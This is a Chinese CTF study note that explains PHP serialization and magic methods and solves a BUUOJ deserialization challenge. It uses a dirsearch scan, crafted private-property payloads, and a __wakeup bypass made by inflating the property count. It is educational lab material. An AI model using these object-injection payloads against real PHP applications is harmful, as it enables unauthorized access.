为了校赛要紧急突击下反序列化了,否则就不是我打CTF了,就成CTF打我了
定义
序列化是将对象转换为字符串以便存储和传输的一种方式。而反序列化就是序列化的逆过程,它会将字符串重新转换为对象供程序使用。简单的说,序列化就是对象–>字符串,反序列化就是字符串–>对象
函数
序列化和反序列化对应的分别是serialize()函数和unserialize()函数,反序列化本身并不危险,如果传参时反序列化的函数是用户可控的就会造成反序列化漏洞
组成
一般经过反序列化后的内容为:
O:4:“user”:2:{s:3:“age”;i:18;s:4:“name”;s:3:“Leo”;}
O:对象
4:user名称长度
2:两个变量
s:字符串
i:整型
魔术方法
PHP的magic方法以__开头,这些函数在某些情况下会自动调用,如果绕过了这些魔术方法,就造成了反序列化漏洞
__construct() 当一个对象创建时触发
__destruct() 当一个对象被销毁时触发
__toString() 把类当作字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据时
__set() 用于将数据写入不可访问的属性
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__autoload() 尝试加载未定义的类时触发
__clone() 当对象复制完成时触发
了解每个函数是什么时候运行的才能更好的利用
<?php
class A{
public $test = "This is just a test";
public function PrintTest()
{
echo $this->test.'<br/>';
}
public function __construct()
{
echo '__construct</br>';
}
public function __destruct()
{
echo '__destruct<br />';
}
public function __toString()
{
return '__toString<br />';
}
}
$object = new A();
$object->PrintTest();
echo $object;
?>
运行结果:
刷题时正好遇到了一道反序列化的题目,然后…我当然是做不出来了(菜哭)
[极客大挑战 2019]PHP
根据提示,使用dirsearch扫描备份文件
python3 dirsearch.py -u "http://e4b57e61-b745-42aa-9c8b-6ab277e0cf5b.node3.buuoj.cn/" -e *
发现里面的文件
反序列化题目,先打开class.php文件
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
需要将password赋值为100,username赋值为admin
知识点
protected
protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
但是因为php7.1+对类属性的检测不严格,可以直接用public来进行序列化
<?php
class Name{
protected $username = 'nonono';
protected $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
?>
O:4:"Name":2:{s:11:"*username";s:5:"admin";s:11:"*password";i:100;}
private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中\0 字符也是计算长度的。
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
public
<?php
class Name{
public $username = 'nonono';
public $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b=serialize($a);
echo $b;
//O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
?>
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
这里使用_wakeup函数进行绕过
作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过__wakeup 函数的执行
exp脚本:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>
因为是private修饰的,所以需要用%00替代空格
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把2改成3就可以绕过_wakeup函数,知识点为:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
即可得到flag
参考链接:
https://blog.csdn.net/wanzt123/article/details/78430626?
https://www.bilibili.com/video/BV1oE411j7aF
https://blog.csdn.net/weixin_43900387/article/details/104403154